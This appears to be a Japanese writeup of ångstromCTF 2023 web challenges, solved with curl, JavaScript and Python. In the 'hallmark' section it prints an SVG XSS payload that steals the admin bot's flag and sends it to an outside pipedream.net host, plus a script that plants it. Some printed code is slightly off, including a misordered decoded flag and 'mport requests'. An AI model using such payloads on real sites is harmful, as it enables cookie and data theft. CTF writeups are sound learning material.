[ångstromCTF 2023] My own writeup
ångstromCTF 2023が2023/04/23 0:00 - 2023/04/27 0:00 (UTC)で開催されました。
[web] catch me if you can
ページのsourceにflagが書かれています。
$ curl https://catch-me-if-you-can.web.actf.co/ | grep "actf{"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1141 100 1141 0 0 143 0 0:00:07 0:00:07 --:--:-- 307
<marquee scrollamount="50" id="flag">actf{y0u_caught_m3!_0101ff9abc2a724814dfd1c85c766afc7fbd88d2cdf747d8d9ddbf12d68ff874}</marquee>
[web] Celeste Speedrunning Association
/
をGETすると、以下が表示されます。
Welcome to Celeste speedrun records!!!
Current record holders (beat them at /play for a flag!):
1. Old Lady: 0 seconds
2. Madeline: 10 seconds
3. Badeline: 10.1 seconds
/play
をGETすると以下のフォームが存在します。にvalueを1682344303.794233
として/submit
にPOSTするようです。
<form action="/submit" method="POST">
<input type="text" style="display: none;" value="1682344303.794233" name="start" />
<input type="submit" value="Press when done!" />
</form>
よくわかりませんが、/submit
にstart
のvalueを適当な大きい値に設定してsubmitするとflagが得られました。
$ curl -X POST -d 'start=100000000000000000000' https://mount-tunnel.web.actf.co/submit
you win the flag: actf{wait_until_farewell_speedrun}
[web] shortcircuit
ページのsourceは以下です。chunk()
でflagをいくつかに分割して配列にして、swap()
配列の要素の位置を入れ替える処理を行っています。
<html>
<head>
<title>Short Circuit</title>
<script>
const swap = (x) => {
let t = x[0]
x[0] = x[3]
x[3] = t
t = x[2]
x[2] = x[1]
x[1] = t
t = x[1]
x[1] = x[3]
x[3] = t
t = x[3]
x[3] = x[2]
x[2] = t
return x
}
const chunk = (x, n) => {
let ret = []
for(let i = 0; i < x.length; i+=n){
ret.push(x.substring(i,i+n))
}
return ret
}
const check = (e) => {
if (document.forms[0].username.value === "admin"){
if(swap(chunk(document.forms[0].password.value, 30)).join("") == "7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7"){
location.href="/win.html"
}
else{
document.getElementById("msg").style.display = "block"
}
}
}
</script>
</head>
<body>
<form>
<input name="username" placeholder="Username" type="text" />
<input name="password" placeholder="Password" type="password" />
<input type="button" onclick="check()" value="Log in"/>
</form>
<p id="msg" style="display:none;color:red;">Username or password incorrect</p>
</body>
</html>
この逆の処理を行ってflagを得ます。swap()
の逆の処理を行うreverse_swap()
を用意します。
const chunk = (x, n) => {
let ret = []
for(let i = 0; i < x.length; i+=n){
ret.push(x.substring(i,i+n))
}
return ret
}
const reverse_swap = (x) => {
let t = x[2]
x[2] = x[3]
x[3] = t
t = x[3]
x[3] = x[1]
x[1] = t
t = x[1]
x[1] = x[2]
x[2] = t
t = x[3]
x[3] = x[0]
x[0] = t
return x
}
const target = "7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7";
console.log(reverse_swap(chunk(target, 30)).join("")) // actf{cl1ent_s1de_sucks_544e67e6317199e454f4d2bdb04d9e419ccc7f12024523398ee02fe7517fffa92517e08250c4aaa9ed206fd7c9e398e2}
[web] directory
ページのsourceは以下のようになっています。5000個のhtmlファイルがあります。
<html><body><a href="0.html">page 0</a><br />
<a href="1.html">page 1</a><br />
<a href="2.html">page 2</a><br />
<a href="3.html">page 3</a><br />
<a href="4.html">page 4</a><br />
<a href="5.html">page 5</a><br />
...
<a href="4996.html">page 4996</a><br />
<a href="4997.html">page 4997</a><br />
<a href="4998.html">page 4998</a><br />
<a href="4999.html">page 4999</a><br />
</body></html>
試しに0.html
を見てみると、your flag is in another file
と書かれています。どれか一つのファイルにflagが書かれているようです。
非同期で5000個のhtmlファイルをGETするスクリプトを用意します。
import asyncio
import aiohttp
async def fetch(url, session):
async with session.get(url) as response:
text = await response.text()
return text
async def main():
base_url = 'https://directory.web.actf.co'
async with aiohttp.ClientSession() as session:
tasks = []
for i in range(0, 5000):
url = f'{base_url}/{i}.html'
tasks.append(asyncio.ensure_future(fetch(url, session)))
responses = await asyncio.gather(*tasks)
for i, r_text in enumerate(responses):
print('count:', i)
if r_text != 'your flag is in another file':
print(r_text)
break
if __name__ == '__main__':
loop = asyncio.get_event_loop()
loop.run_until_complete(main())
3054.html
にflagが書かれていました。
$ python3 solver.py
count: 0
count: 1
...
count: 3053
count: 3054
actf{y0u_f0und_me_b51d0cde76739fa3}
[web] Celeste Tunneling Association
以下のapp.py
が与えられます。
# run via `uvicorn app:app --port 6000`
import os
SECRET_SITE = b"flag.local"
FLAG = os.environ['FLAG']
async def app(scope, receive, send):
assert scope['type'] == 'http'
headers = scope['headers']
await send({
'type': 'http.response.start',
'status': 200,
'headers': [
[b'content-type', b'text/plain'],
],
})
# IDK malformed requests or something
num_hosts = 0
for name, value in headers:
if name == b"host":
num_hosts += 1
if num_hosts == 1:
for name, value in headers:
if name == b"host" and value == SECRET_SITE:
await send({
'type': 'http.response.body',
'body': FLAG.encode(),
})
return
await send({
'type': 'http.response.body',
'body': b'Welcome to the _tunnel_. Watch your step!!',
})
host
ヘッダにflag.local
をセットすればflagが取得できるようです。
$ curl -H "host: flag.local" https://pioneer.tailec718.ts.net/
actf{reaching_the_core__chapter_8}
[web] hallmark
以下のindex.js
が与えられます。
Content-Type
がtext/plain
とimage/svg+xml
のcardを作成・更新することができます。text/plain
のcardは任意のコンテンツを設定できますが、image/svg+xml
のcardはあらかじめサーバに配置されているsvgファイルしか使用できません。
const express = require("express");
const bodyParser = require("body-parser");
const cookieParser = require("cookie-parser");
const path = require("path");
const { v4: uuidv4, v4 } = require("uuid");
const fs = require("fs");
const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
app.use(cookieParser());
const IMAGES = {
heart: fs.readFileSync("./static/heart.svg"),
snowman: fs.readFileSync("./static/snowman.svg"),
flowers: fs.readFileSync("./static/flowers.svg"),
cake: fs.readFileSync("./static/cake.svg")
};
Object.freeze(IMAGES)
const port = Number(process.env.PORT) || 8080;
const secret = process.env.ADMIN_SECRET || "secretpw";
const flag = process.env.FLAG || "actf{placeholder_flag}";
const cards = Object.create(null);
app.use('/static', express.static('static'))
app.get("/card", (req, res) => {
console.log(req.query.id);
if (req.query.id && cards[req.query.id]) {
res.setHeader("Content-Type", cards[req.query.id].type);
res.send(cards[req.query.id].content);
} else {
res.send("bad id");
}
});
app.post("/card", (req, res) => {
let { svg, content } = req.body;
let type = "text/plain";
let id = v4();
console.log("post:", typeof(svg), svg, content);
if (svg === "text") {
type = "text/plain";
cards[id] = { type, content }
} else {
type = "image/svg+xml";
cards[id] = { type, content: IMAGES[svg] }
}
res.redirect("/card?id=" + id);
});
app.put("/card", (req, res) => {
let { id, type, svg, content } = req.body;
if (!id || !cards[id]){
res.send("bad id");
return;
}
console.log("put:", typeof(type), type)
console.log(type == "image/svg+xml", type === "image/svg+xml")
cards[id].type = type == "image/svg+xml" ? type : "text/plain";
cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;
console.log(cards[id].type, cards[id].content)
res.send("ok");
});
// the admin bot will be able to access this
app.get("/flag", (req, res) => {
if (req.cookies && req.cookies.secret === secret) {
res.send(flag);
} else {
res.send("you can't view this >:(");
}
});
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "index.html"));
});
app.listen(port, () => {
console.log(`Server listening on port ${port}.`);
});
cardの作成処理では、svg
パラメータの値がtext
の場合に、type
がtext/plain
のcardを作成します。svg
パラメータの値がtext
の以外の場合に、type
がimage/svg+xml
のcardを作成します。この処理は特に問題なさそうです。
app.post("/card", (req, res) => {
let { svg, content } = req.body;
let type = "text/plain";
let id = v4();
console.log("post:", typeof(svg), svg, content);
if (svg === "text") {
type = "text/plain";
cards[id] = { type, content }
} else {
type = "image/svg+xml";
cards[id] = { type, content: IMAGES[svg] }
}
res.redirect("/card?id=" + id);
});
cardの更新処理では、type
パラメータの値がimage/svg+xml
の場合にcard
のtype
に入力のtype
パラメータの値が設定され、image/svg+xml
でない場合にcard
のtype
にtext/plain
が設定されます。また、type
パラメータの値がimage/svg+xml
の場合にcard
のcontent
にIMAGES[svg || "heart"]
が設定され、image/svg+xml
でない場合に入力のcontent
パラメータの値が設定されます。
app.put("/card", (req, res) => {
let { id, type, svg, content } = req.body;
if (!id || !cards[id]){
res.send("bad id");
return;
}
cards[id].type = type == "image/svg+xml" ? type : "text/plain";
cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;
res.send("ok");
});
以下の部分をよくみると、上では抽象的な等価性比較(==
)、下では厳格な等価性比較(===
)が使用されています。MDNのサイト[https://developer.mozilla.org/ja/docs/Web/JavaScript/Equality_comparisons_and_sameness] を参考にすると、==
は2つの値の型が異なる場合に両方の値を共通の型に変換し、等しいかどうかを比較し、===
は型変換を行わずに2つの値を比較します(型が異なる場合は等しくないとする)。
cards[id].type = type == "image/svg+xml" ? type : "text/plain";
cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;
今回は、app.use(bodyParser.urlencoded({ extended: true }));
が設定されているため、Stringだけでなく、Objectをデータとして送信することができます。例えばtype
として['image/svg+xml']
のようなObjectを送信できれば、先程の上の条件式をfalse
、下の条件式をtrue
にでき、type
をimage/svg+xml
とした上で任意のコンテンツを設定できます。つまり、svgを用いたXSSが可能になります。
> ['image/svg+xml'] == 'image/svg+xml' // 型変換を行う、`Array.prototype.toString()`を用いて`['image/svg+xml']`をStringに変換
true
> ['image/svg+xml'] === 'image/svg+xml' // 型変換を行わない
false
body-parserの実装を参考にすると、foo[0]=bar
のようにすると、{"foo":["bar"]}
のようなデータが送信できそうです。
また、XSSを発火させて、Cookieを自身のサーバに送信するためのsvgとしては以下を使用します(参考)。
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
fetch(`https://hallmark.web.actf.co/flag`)
.then(async(res) => {
flag = await res.text();
fetch(`https://eon3rjzh6pnyack.m.pipedream.net?flag=${flag}`);
});
</script>
</svg>
最終的に以下のスクリプトを用いて、/card
のPOSTとPUTを行います。
mport requests
import re
base_url = 'https://hallmark.web.actf.co'
# POST /card
data = {
"svg": "text",
"content": "hugahugahugahuga"
}
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
res = requests.post(f'{base_url}/card', data=data, allow_redirects=False)
print(res.text)
pattern = r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}"
match = re.search(pattern, res.text)
uuid = match.group(0)
payload = '''<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
fetch(`https://hallmark.web.actf.co/flag`)
.then(async(res) => {
flag = await res.text();
fetch(`[自身のサーバのURL]?flag=${flag}`);
});
</script>
</svg>
'''
# PUT /card
data = {
"type[0]": "image/svg+xml",
"content": payload,
"id": uuid
}
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
res = requests.put(f'{base_url}/card', data=data)
print(f"url: {base_url}/card?id={uuid}")
そして、出力されるURLをadmin botに投げると自身のサーバにflagが送信されます。
actf{the_adm1n_has_rece1ved_y0ur_card_cefd0aac23a38d33}